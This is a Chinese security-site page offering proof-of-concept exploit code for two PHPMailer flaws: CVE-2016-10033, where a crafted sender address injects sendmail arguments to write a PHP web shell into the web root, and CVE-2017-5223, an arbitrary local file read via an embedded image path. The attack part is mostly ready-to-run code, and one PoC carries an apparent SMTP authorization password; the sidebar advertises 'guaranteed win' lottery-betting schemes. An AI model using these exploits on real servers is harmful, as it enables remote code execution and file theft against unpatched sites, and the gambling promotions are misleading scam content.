ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全安全文章 → PHPMailer 命令执行 任意文件读取漏洞利用 【含POC】

PHPMailer 命令执行 任意文件读取漏洞利用 【含POC】

时间:2018-02-23 12:35:26人气:作者:本站作者我要评论

PHPMailer 命令执行 任意文件读取漏洞利用 【含POC】

PHPMailer 命令执行漏洞(CVE-2016-10033)

漏洞编号:CVE-2016-10033

影响版本:PHPMailer< 5.2.18

漏洞级别: 高危

漏洞POC:

<?php /* 
PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033) 
A simple PoC (working on Sendmail MTA) 
It will inject the following parameters to sendmail command: 
Arg no. 0 == [/usr/sbin/sendmail] 
Arg no. 1 == [-t] 
Arg no. 2 == [-i] 
Arg no. 3 == [-fattacker\] 
Arg no. 4 == [-oQ/tmp/] 
Arg no. 5 == [-X/var/www/cache/phpcode.php] 
Arg no. 6 == [some"@email.com] 
which will write the transfer log (-X) into /var/www/cache/phpcode.php file. 
The resulting file will contain the payload passed in the body of the msg: 
<<< --b1_cb4566aa51be9f090d9419163e492306 
<<< Content-Type: text/html; charset=us-ascii 
<<< 
<<< <?php phpinfo(); ?> 09607 <<< 
<<< 
<<< 
<<< --b1_cb4566aa51be9f090d9419163e492306-- 
See the full advisory URL for details. 
*/ // Attacker's input coming from untrusted source such as $_GET , $_POST etc.  // For example from a Contact form  $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com'; 
$msg_body  = "<?php phpinfo(); ?>"; // ------------------  // mail() param injection via the vulnerability in PHPMailer  require_once('class.phpmailer.php'); 
$mail = new PHPMailer(); // defaults to using php "mail()"  $mail->SetFrom($email_from, 'Client Name'); 
$address = "customer_feedback@company-X.com"; 
$mail->AddAddress($address, "Some User"); 
$mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033"; 
$mail->MsgHTML($msg_body); if(!$mail->Send()) { echo "Mailer Error: " . $mail->ErrorInfo; 
} else { echo "Message sent!\n"; 
}

PHPMailer任意文件读取漏洞分析(CVE-2017-5223)

漏洞编号: CVE-2017-5223

影响版本: PHPMailer <= 5.2.21

漏洞级别: 高危

漏洞POC:

<?php 
#Author:Yxlink
 
require_once('PHPMailerAutoload.php');
$mail = new PHPMailer();
$mail->isSMTP();
$mail->Host = 'smtp.qq.com';
$mail->Port = 465;
$mail->SMTPAuth = true;
$mail->Username = xxxx@qq.com';  //qq邮箱
$mail->Password = 'zsuhxbmsaioxbcgb';//申请配置邮件客户端获取到的16位密码和qq密码不一样
$mail->SMTPSecure = 'ssl';
 
 
$mail->CharSet  = "UTF-8";
$mail->Encoding = "base64";
  
$mail->Subject = "hello";
$mail->From = "xxxx@qq.com"; 
$mail->FromName = "test"; 
  
$address = "xxxx@qq.com";
$mail->AddAddress($address, "test");
  
$mail->AddAttachment('test.txt','test.txt');
$mail->IsHTML(true); 
$msg="<img src='D:\\1.txt'>test";
$mail->msgHTML($msg);
  
if(!$mail->Send()) {
  echo "Mailer Error: " . $mail->ErrorInfo;
} else {
  echo "Message sent!";
}
?>

相关文章

猜你喜欢

  • 深入解析浅谈《快3单双准确率方法》成功方案

    2022-09-28 /

  • 全网首发《快3单双大小必中方法技巧》思路汇总

    2022-09-28 /

  • 资深攻略《快3大小必中技巧》上岸方法

    2022-09-28 /

  • 【最准确的玩法】《回血上岸计划导师QQ》操作系列

    2022-09-28 /

  • 经验教程《导师一分快三计划》最新窍门

    2022-09-28 /

  • 高手教你《大小单双最安全的打法》三期必中

    2022-09-28 /

网友评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

本类推荐

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 琼ICP备2021004244号-1| 琼ICP备2021004244号-1

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网